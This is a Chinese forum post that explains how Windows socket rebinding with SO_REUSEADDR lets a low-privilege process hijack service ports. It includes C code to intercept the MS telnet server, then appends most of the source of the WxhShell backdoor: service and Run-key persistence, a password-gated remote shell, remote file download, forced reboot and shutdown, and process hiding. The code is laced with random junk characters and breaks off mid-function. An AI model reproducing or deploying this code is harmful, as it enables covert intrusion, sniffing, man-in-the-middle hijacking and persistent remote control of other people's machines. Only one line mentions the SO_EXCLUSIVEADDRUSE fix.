社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 10520阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L'e_?`!:  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); U=>S|>daR  
k[=qx{Osx%  
  saddr.sin_family = AF_INET; 0lw>mxN  
X/!_>@`7?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); PnsBDf%v  
Jh[0xb  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); Onmmcem  
HpwMm^  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 V\V /2u5-  
[ oWkd_dK  
  这意味着什么?意味着可以进行如下的攻击: Bqx5N"  
GQ_KYS{  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 }d$-:l ,w  
L`NIYH<^  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) JAbUK[:K  
BD g]M/{  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 <@<rU:o=V  
J[ds.~ $  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  gN&i &%*!  
V\~.  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 5dBftTv?  
%36x'Dn ?  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 }xZi Ct  
:yay:3qv  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h8rW"8Th  
Fu7:4+  
  #include !, 4ag1  
  #include _Hb;)9y  
  #include :1v,QEb\  
  #include    Iq$| ?MH  
  DWORD WINAPI ClientThread(LPVOID lpParam);   4=PjS<Lu8  
  int main() CB@7XUR  
  { :qYp%Ub  
  WORD wVersionRequested; ~zp8%lEe  
  DWORD ret; -(VJ,)8t2  
  WSADATA wsaData; ul{x|R  
  BOOL val; mh }M|h5Im  
  SOCKADDR_IN saddr; Ts iJK  
  SOCKADDR_IN scaddr; |diI(2w  
  int err; qY_qS=H^  
  SOCKET s; R!nf^*~  
  SOCKET sc; 1/_g36\l$  
  int caddsize; K!|eN_1A  
  HANDLE mt; j0=6B  
  DWORD tid;   {>&~kM@  
  wVersionRequested = MAKEWORD( 2, 2 ); 'r;mm^cS?  
  err = WSAStartup( wVersionRequested, &wsaData ); .6?"<zdPU  
  if ( err != 0 ) { igO>)XbsM  
  printf("error!WSAStartup failed!\n"); MDMd$] CW  
  return -1; Lx"GBEkt7  
  } lH-VqkR\  
  saddr.sin_family = AF_INET; )m%uSSx#  
   %1z;l.c  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 'o$j~Mr  
Z:4/lx7Bq  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ,GbmL8P7Y  
  saddr.sin_port = htons(23); b UG,~\Z  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0RR|!zEu  
  { ?HEqv$n  
  printf("error!socket failed!\n"); p8Vqy-:  
  return -1; 'K[ml ?_  
  } oqrx7 +0{  
  val = TRUE; V^~RDOSy7n  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 }\4yU=JP K  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 24sMX7Q,i  
  { 5Rqdo\vE  
  printf("error!setsockopt failed!\n"); Pz4#>tP  
  return -1; "k zKQ~  
  } *D5 xbkH=.  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; I16FVdUun4  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ;Iu _*U9)  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Met?G0[  
{gMe<y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) W"{Ggk `  
  { l1KMEGmG  
  ret=GetLastError(); hCxg6e<[  
  printf("error!bind failed!\n"); TykT(=  
  return -1; p_$^keOL  
  } js$R^P  
  listen(s,2); (qn=BP I  
  while(1) (* -wiL  
  { )&Ii! tm3  
  caddsize = sizeof(scaddr); wO??"${OH  
  //接受连接请求 R >xd*A  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Y;'<u\^M"  
  if(sc!=INVALID_SOCKET) A U~DbU0O  
  { ( eV,f  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); *&U~Io"U  
  if(mt==NULL) [6GYYu\  
  { >hunV'vu'  
  printf("Thread Creat Failed!\n"); %9-^,og  
  break; D(b01EQ;d  
  } r. 82RoG?G  
  } -L2.cN_  
  CloseHandle(mt); E'iE#He  
  } $5nMD=   
  closesocket(s); qs4jUm  
  WSACleanup(); r@G*Fx8Z  
  return 0; !gh8 Qs  
  }   r$jWjb  
  DWORD WINAPI ClientThread(LPVOID lpParam) R%r bysP  
  { WfPb7T  
  SOCKET ss = (SOCKET)lpParam; =m.Nm-g  
  SOCKET sc; >$Y/B=e  
  unsigned char buf[4096]; ;zCUx*{  
  SOCKADDR_IN saddr; VcjbRpTy&  
  long num; Q14zc0N  
  DWORD val; eORXyh\K  
  DWORD ret; k1&9 bgI  
  //如果是隐藏端口应用的话,可以在此处加一些判断 `46~j  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   s$Vl">9#  
  saddr.sin_family = AF_INET; Ni~IY# '  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dsTX?E<R  
  saddr.sin_port = htons(23); G e;67  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) /wD f,Hduz  
  { bY_'B5$.^2  
  printf("error!socket failed!\n"); C'R9Nn'  
  return -1; qqDg2,Yb  
  } Z\ hcK:  
  val = 100; )O'LE&kQ|  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) {f06Ki  
  { Gxr\a2Z&r%  
  ret = GetLastError(); IDct!53~  
  return -1; k 9i W1  
  } :EX>Y<`]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) fWHvVyQ.  
  { 3W1Lh~Av  
  ret = GetLastError(); fCt|8,-H  
  return -1; NcA `E_3  
  } 91OxUVd  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 2z>-H595az  
  { %=**cvVy  
  printf("error!socket connect failed!\n"); zlMh^+rMX  
  closesocket(sc); )uqzu%T  
  closesocket(ss); rPH7 ]]  
  return -1; i>M%)HN  
  } ]r`;89:s>  
  while(1) -K{R7  
  { 0E.N3iU  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 H cmW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 `[H^ `   
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 :7e*- '  
  num = recv(ss,buf,4096,0); gt{kjrTv&  
  if(num>0) D e&,^"%  
  send(sc,buf,num,0); 5lsslE+:J  
  else if(num==0) ^'QO!{7f  
  break; U]hqRL  
  num = recv(sc,buf,4096,0); [@@{z9c  
  if(num>0) !y_FbJ8KC  
  send(ss,buf,num,0); O_QDjxj^rZ  
  else if(num==0) >u=  
  break; "FHJ_$!  
  } Q,?_;,I}  
  closesocket(ss); xG!~TQ  
  closesocket(sc); ^ `LqNG  
  return 0 ; P2n8HFi  
  } cSL6V2F  
_k:8ib2TQ  
!}Xoqamm  
========================================================== Snr(<u  
0zW*JJxV  
下边附上一个代码,,WXhSHELL |5u~L#P  
KL \>-  
========================================================== rLTBBvV  
\$9C1@B@  
#include "stdafx.h" =.`\V]  
7@@g|l]  
#include <stdio.h> gvP-doA7W  
#include <string.h> m6R/,  
#include <windows.h> =3-=p&*  
#include <winsock2.h> 3IYFvq~  
#include <winsvc.h> ^E}?YgNp  
#include <urlmon.h>  h,/Aq  
?:r?K|Ku  
#pragma comment (lib, "Ws2_32.lib") =lAjQt  
#pragma comment (lib, "urlmon.lib") u X,n[u  
L{/% "2>  
#define MAX_USER   100 // 最大客户端连接数 gC}}8( k  
#define BUF_SOCK   200 // sock buffer eT b!xb  
#define KEY_BUFF   255 // 输入 buffer ]>M\|,wh  
E &9<JS  
#define REBOOT     0   // 重启 nDn J}`k  
#define SHUTDOWN   1   // 关机 WK|5:V8E  
.\_):j*  
#define DEF_PORT   5000 // 监听端口 IiE6i43  
T)P)B6q   
#define REG_LEN     16   // 注册表键长度 $;5Q mKQ'  
#define SVC_LEN     80   // NT服务名长度 tW/k  
|r~u7U\  
// 从dll定义API V$ZclV2:Ih  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); N.*)-O  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); >XtfT'  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 5 `1  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gnJ8tuS  
AM+5_'S,  
// wxhshell配置信息 kQkc+sGJf  
struct WSCFG { 9#9 UzKX#  
  int ws_port;         // 监听端口 @gN"Q\;F  
  char ws_passstr[REG_LEN]; // 口令 3ijPm<wn  
  int ws_autoins;       // 安装标记, 1=yes 0=no !hVbx#bXl  
  char ws_regname[REG_LEN]; // 注册表键名 oC`F1!SfOO  
  char ws_svcname[REG_LEN]; // 服务名 :M(uP e=D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 !.P||$x`&  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 !E$$ FvL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 n])#<0  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Wt/;iq"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" _ [k \S|iY  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 z~Q=OPCnY  
aL1%BGlmZ<  
}; -nS f<  
z& ;8pZr  
// default Wxhshell configuration exq5Zc%  
struct WSCFG wscfg={DEF_PORT, mx^Ga=: ?  
    "xuhuanlingzhe", \3hA_{ w  
    1, ^QNc!{`  
    "Wxhshell", =~ Uhr6Q  
    "Wxhshell", I|rb"bG  
            "WxhShell Service", xhP~]akHN7  
    "Wrsky Windows CmdShell Service", ZiUb+;JA  
    "Please Input Your Password: ", 6f +aGz  
  1, f<8Hvumw  
  "http://www.wrsky.com/wxhshell.exe", lpG%rN!  
  "Wxhshell.exe" ^/BGOBK  
    }; k6CXuU  
;VE y{%nF  
// 消息定义模块 `X<B+:>v-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; >Y>R1b%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 811>dVq3/  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; #gbB// <  
char *msg_ws_ext="\n\rExit."; 2.3_FXSt  
char *msg_ws_end="\n\rQuit."; `XxnQng  
char *msg_ws_boot="\n\rReboot..."; &_L%wV|[  
char *msg_ws_poff="\n\rShutdown..."; EHUx~Q   
char *msg_ws_down="\n\rSave to "; Gd!-fqNa'x  
uG\~Hxqw7O  
char *msg_ws_err="\n\rErr!"; dJR[9T_OF  
char *msg_ws_ok="\n\rOK!"; u ON(LavB  
~/G)z?+E  
char ExeFile[MAX_PATH]; D;+/ bll7  
int nUser = 0; *$=i1w  
HANDLE handles[MAX_USER]; .?{no}u.  
int OsIsNt; u+V*U5v  
*s4|'KS2o  
SERVICE_STATUS       serviceStatus; [Vs\r&qL  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; iaL@- dg  
%}@iz(*}>  
// 函数声明 i >3`V6  
int Install(void); ?W'z5'|  
int Uninstall(void); `O6#-<>  
int DownloadFile(char *sURL, SOCKET wsh); F;Q,cg M  
int Boot(int flag); s!(R  
void HideProc(void); J];Sj  
int GetOsVer(void); G|,&V0*  
int Wxhshell(SOCKET wsl); -+E.I*st  
void TalkWithClient(void *cs); ^xHKoOTj[  
int CmdShell(SOCKET sock); Xc-["y64  
int StartFromService(void); YF{MXK}  
int StartWxhshell(LPSTR lpCmdLine); `Na()r$T  
"VZ1LVI  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); +RJ{)Nec  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8~(xi<"e  
XmQ ;Roe  
// 数据结构和表定义 n=!T (Hk  
SERVICE_TABLE_ENTRY DispatchTable[] = 4K^cj2 X  
{ == wX.y\.n  
{wscfg.ws_svcname, NTServiceMain}, \dHqCQ  
{NULL, NULL} !R@LC  
}; 58Ibje  
?"@Fq2xgB4  
// 自我安装 CE3l_[c  
int Install(void) )=f}vHg$  
{ O?OAXPK2  
  char svExeFile[MAX_PATH]; jq H)o2"/  
  HKEY key; &m3-][ !n  
  strcpy(svExeFile,ExeFile); eDpi0htm  
htB7 j(  
// 如果是win9x系统,修改注册表设为自启动 CtY-Gs  
if(!OsIsNt) { kQ>2W5o-d-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { r6F TpOF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); llZU: bs  
  RegCloseKey(key); CFFb>d  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { `ArUoYb B  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); %* 0GEfl/  
  RegCloseKey(key); qe.QF."y  
  return 0; F>\,`wP  
    } -H%v6E%yh  
  } a{ST4d'T  
} (}b~}X9  
else { _&l8^MD  
2 `AdNt,  
// 如果是NT以上系统,安装为系统服务 +,spC`M6h  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); =%|`gZ  
if (schSCManager!=0) 2_pF#M9  
{ #czI nXTTx  
  SC_HANDLE schService = CreateService S #GxKMO%  
  ( !l*A3qA  
  schSCManager, 2E40&  
  wscfg.ws_svcname, p8,=K<  
  wscfg.ws_svcdisp, k1,k 9BK  
  SERVICE_ALL_ACCESS, 30HUY?'K  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , A"S"La%"  
  SERVICE_AUTO_START, L$=R/l  
  SERVICE_ERROR_NORMAL, W|2^yO,dX  
  svExeFile, VV Q~;{L  
  NULL, Fizrsr 6%  
  NULL, ^\v]Ltd  
  NULL, %<kfW&_>w  
  NULL, {jD?obs  
  NULL |it*w\+M  
  ); LGL;3EI  
  if (schService!=0) +c_AAMe  
  { s{dm,|?Jl,  
  CloseServiceHandle(schService); &m--}  
  CloseServiceHandle(schSCManager); g/C 7wc  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ~ n<|f  
  strcat(svExeFile,wscfg.ws_svcname); \>S.nW  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { PSc=k0D  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $R}C(k ;?  
  RegCloseKey(key); CRo'r/G  
  return 0; c^=q(V  
    } 8 o}5QOW  
  } =\]gL%N-|  
  CloseServiceHandle(schSCManager); w5z]=dN  
} mRx `G(u:v  
} 4&NB xe  
TzC(YWt  
return 1; ,P <I<QYu  
}  _ %mm  
!po,Z&  
// 自我卸载 Mh`^-*c?  
int Uninstall(void) #:" ]-u^  
{ #w L(<nE  
  HKEY key; I0Do%  
_j+,'\B  
if(!OsIsNt) { *{?2M6Z  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N d>zq  
  RegDeleteValue(key,wscfg.ws_regname); 4AhF E@  
  RegCloseKey(key); <uIPv Zsx  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { v Z10Rb8  
  RegDeleteValue(key,wscfg.ws_regname); Fe[6Y<x+:  
  RegCloseKey(key); @Xoh@:j\  
  return 0; ~jw:4sG  
  } No\#N/1@P  
} *4~7p4 [  
} )%jS9e{d  
else { ?4SYroXUX|  
q[/g3D\G  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); _dd_Z40R  
if (schSCManager!=0) IRM jL.q  
{ %enJ[a%Qg  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ` .`:~_OE  
  if (schService!=0) ]}SV%*{ %  
  { s;h`n$  
  if(DeleteService(schService)!=0) { f@Mku0VT  
  CloseServiceHandle(schService); =3,<(F5Y[  
  CloseServiceHandle(schSCManager); cY} jPDH  
  return 0; t>]W+Lx#  
  } K/(LF}  
  CloseServiceHandle(schService); 07^.Z[(pCt  
  } M(8xwo-W  
  CloseServiceHandle(schSCManager); 4`~OxL  
} gs2qLb  
} R@WW@ Of  
/,7#%D  
return 1; 'q9Ejig  
} ] Q^8 9?  
])pX)(a  
// 从指定url下载文件 R&s/s`pLW  
int DownloadFile(char *sURL, SOCKET wsh) Jur$O,u40l  
{ 0D:uM$ i]  
  HRESULT hr; @uC-dXA"  
char seps[]= "/"; aJm5`az)  
char *token; RGV{KL  
char *file; N+SA$wG  
char myURL[MAX_PATH]; [9?]|4  
char myFILE[MAX_PATH]; iP7KM*ks  
e7G>'K  
strcpy(myURL,sURL); /_fZ2$/  
  token=strtok(myURL,seps); Yp m*or  
  while(token!=NULL) b<fN,U< k  
  { Ct /6<  
    file=token; Ql7opl,  
  token=strtok(NULL,seps); FIn)O-<  
  } $.DD^ "9  
RW>F %P  
GetCurrentDirectory(MAX_PATH,myFILE); m$Tt y[0  
strcat(myFILE, "\\"); )P1NX"A  
strcat(myFILE, file); ivdPF dJ  
  send(wsh,myFILE,strlen(myFILE),0); }J5iY0  
send(wsh,"...",3,0); unL1/JY z  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); R U[  
  if(hr==S_OK) &m(eMX0lU  
return 0; 5NSXSR9c  
else ziW[qH {  
return 1; 2b {Y1*  
EI9Yv>7d{  
} \l6mX In=>  
AO$aWyI  
// 系统电源模块 ^1}ffE(3>  
int Boot(int flag) +&AU&2As  
{ u@wQ )^  
  HANDLE hToken; bv[*jr;45  
  TOKEN_PRIVILEGES tkp; /9y'UKl7[  
/? j^Qu  
  if(OsIsNt) { [0+5 Gx  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); u*;53 43  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); *7Sg8\wDn  
    tkp.PrivilegeCount = 1; gp'n'K]  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; gvZLW!={  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); qfY=!|O  
if(flag==REBOOT) { /|e"0;{  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) ;LT#/t)}<  
  return 0; Q~*3Z4)j  
} U|h@Pw z  
else { CvTgtZ '  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) yC=vTzzp  
  return 0; 7L:R&W6  
} qf] OSd  
  } `|JQ)!Agx  
  else { OaxE3bDT  
if(flag==REBOOT) { tX *L_  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) CtDS lJ  
  return 0; PzTTL=G +  
} EZiGi[t7  
else { &4MVk3SLx#  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) : [vp.vw}/  
  return 0; ;lWy?53=@  
} [dL?N  
} -p !KsU  
Tf[-8H<  
return 1; M/sqOhg  
} El&pu x2  
a( {`<F  
// win9x进程隐藏模块 !"J*  
void HideProc(void) tbv6-) Hs  
{ /C8(cVNZ  
W%Zyt:H`  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Zk;;~ESOU  
  if ( hKernel != NULL ) kk5i{.?[  
  { XKU=VOY  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vrW9<{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); z8"=W,2  
    FreeLibrary(hKernel); ! xqG-rd '  
  } kAk,:a;P  
GrQAho  
return; <db/. A3  
} t_VHw'~"  
:* /``  
// 获取操作系统版本 %J%gXk}]  
int GetOsVer(void) :~)Q]G1Nj  
{ $v oyXi`*  
  OSVERSIONINFO winfo; +#H8d1^5  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); B 9Mwj:)}  
  GetVersionEx(&winfo); $kz5)vj "  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ~O 6~',KD  
  return 1; o-' i)pp  
  else 6k3l/~R  
  return 0; fAUsJ[  
} ]R>k0X.V  
S@"=,Xj M  
// 客户端句柄模块 tw3d>H`  
int Wxhshell(SOCKET wsl) 246lFx G.  
{ ;VFr5.*x  
  SOCKET wsh; 7~Ga>BK  
  struct sockaddr_in client; TxCQGzqe  
  DWORD myID; .M{[J]H`t  
)|a9Z~#x  
  while(nUser<MAX_USER) YPy))>Q>cK  
{ E$>e< T  
  int nSize=sizeof(client); ,< icW &a  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); >C}RZdO~  
  if(wsh==INVALID_SOCKET) return 1; uY~A0I5Z  
GDB>!ukg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); bX(*f>G'  
if(handles[nUser]==0) Lb{D5k*XU  
  closesocket(wsh); ?mAw"Rb!  
else /_a *C.a6  
  nUser++; L-R}O 8  
  } ] zY  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WO9/rF_  
Wu&Di8GhP  
  return 0; M<srJ8|'  
} w1_Ux<RF  
K)@}Ok"#\4  
// 关闭 socket "\[>@_p h  
void CloseIt(SOCKET wsh) pzr-}>xrZ  
{ !~l%6Z5  
closesocket(wsh); w$ {  
nUser--; cj#q7  
ExitThread(0); %$x FnGb  
} 6 {Z\cwP)c  
):@%xoF5  
// 客户端请求句柄 :GYv9OG  
void TalkWithClient(void *cs) s- V$N  
{ ,AM-cwwT:u  
lp UtNy  
  SOCKET wsh=(SOCKET)cs; P.B'Gh#^  
  char pwd[SVC_LEN]; ]c2| m}I{:  
  char cmd[KEY_BUFF]; OJ 5 !+#>  
char chr[1]; y21uvp'  
int i,j; 2AW{qwk7  
q_&IZ,{Vk  
  while (nUser < MAX_USER) { Vgn1I(Gj4  
ZRm\d3x4  
if(wscfg.ws_passstr) { |pR$' HO  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [;AcV73  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }AqD0Qd2Hj  
  //ZeroMemory(pwd,KEY_BUFF); Y7)@(7G)\  
      i=0; )+,jal^7  
  while(i<SVC_LEN) { h,'+w  
@EZONKT  
  // 设置超时 l5ds`uR#  
  fd_set FdRead; }z+"3A|  
  struct timeval TimeOut; W@dY:N}  
  FD_ZERO(&FdRead); UJ$:5*S=u  
  FD_SET(wsh,&FdRead); T6roz  
  TimeOut.tv_sec=8; p&mtKLv  
  TimeOut.tv_usec=0; *$C[![   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); yWtr,  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u(Sz$eV  
a?~csP^?}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ONiI:Z>%  
  pwd=chr[0]; .b oizW1+  
  if(chr[0]==0xd || chr[0]==0xa) { o~&!M_ED  
  pwd=0; 3&fFIab9  
  break; /*^|5>-`i1  
  } p\;)^O4  
  i++; ~J{[]wi  
    } WUS9zK  
m@u`$rOh  
  // 如果是非法用户,关闭 socket E_1I|$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); A]%t0>EL<  
} arKmc@"X  
S)@vl^3ec  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); >o#wP  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 'a^tL[rLP1  
=Fy8rTdk6r  
while(1) { ]G PJ(+5  
otD?J= B  
  ZeroMemory(cmd,KEY_BUFF); *yq]  
zn1Rou]6  
      // 自动支持客户端 telnet标准   ~C7<a48x  
  j=0; ;OU>AnWr(&  
  while(j<KEY_BUFF) { ;;hyjFGq%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {FY[|:Cp  
  cmd[j]=chr[0]; t`ceVS  
  if(chr[0]==0xa || chr[0]==0xd) { "ak9LZQ9z  
  cmd[j]=0; 5qkuK F  
  break; lV6[d8P  
  } :;;WK~* #  
  j++; _JTxm>  
    } )NmlV99q  
Wo+CQH6(  
  // 下载文件 S/<"RfVU#o  
  if(strstr(cmd,"http://")) { hdJwNmEA>  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 'F"Y?y:!  
  if(DownloadFile(cmd,wsh)) RrdtU7i3  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0/@ X!|X  
  else xTFrrmxOf  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); tK}p05nPhl  
  } k+#l;<\2  
  else { 5vX 8mPR_  
_<RR`  
    switch(cmd[0]) { =Z .V+4+  
  i(yAmo9h  
  // 帮助 qJXsf M6  
  case '?': { J7wQ=! g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Dnm.!L8  
    break; :@%-f:iDj  
  } L@n6N|[_  
  // 安装 F:o #  
  case 'i': { I,4-  
    if(Install()) ,o@~OTja*  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 27E9NO=  
    else ,' r L'Ys  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?t0zsq  
    break; ;s\;78`0  
    } -N7L #a  
  // 卸载 3R%UPT0>  
  case 'r': { #>m, Cm  
    if(Uninstall())  ;[KriW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `o8{qU,*]N  
    else =6Sj}/   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Wd` QpW  
    break; rH&r6Xv[  
    } s'aV qB  
  // 显示 wxhshell 所在路径 q bZ,K@0  
  case 'p': { ?(/j<,m^  
    char svExeFile[MAX_PATH]; mDF"&.(j  
    strcpy(svExeFile,"\n\r"); seuN,jpt  
      strcat(svExeFile,ExeFile); ]a6O(]  
        send(wsh,svExeFile,strlen(svExeFile),0); Ly)(_Tp@+  
    break; A` o?+2s_  
    } ;j>Vt?:Pw  
  // 重启 _m7U-;G  
  case 'b': { grCO-S|j^  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `!omzE*bk5  
    if(Boot(REBOOT)) {nQ)4.e6  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); I51oG:6fR?  
    else { J(EaE2  
    closesocket(wsh); X(y  
